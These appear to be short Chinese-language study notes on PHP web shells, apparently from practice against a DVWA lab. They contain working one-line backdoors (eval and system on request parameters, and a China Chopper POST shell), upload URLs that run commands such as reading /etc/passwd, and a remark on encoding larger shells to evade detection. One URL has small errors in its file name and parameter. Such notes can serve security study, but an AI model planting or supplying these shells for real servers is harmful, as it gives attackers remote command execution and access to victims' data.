web_shell

webshell

小马:一句话木马也称为小马，即整个shell代码量只有一行，一般是系统执行函数

大马: 代码量和功能比小马多，一般会进行二次编码加密，防止被安全防火墙/入侵系统检测到

shell2.php #eval 使用php函数，例如phpinfo(); 
<?php eval($_REQUEST['pass']);?>
http://192.168.238.131/dvwa/hackable/uploads/shell2.php?pass=phpinfo(); 

shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['pass']);?>
http://192.168.238.131/dvwa/hackable/uploads/shell3php?
 yangge=cat /etc/passwd  

中国菜刀

<?php @eval($_POST['pass']);?>
说明：REQUEST是在网页端输入变量访问，POST则是使用像中国菜刀之类的工具连接
是C/S架构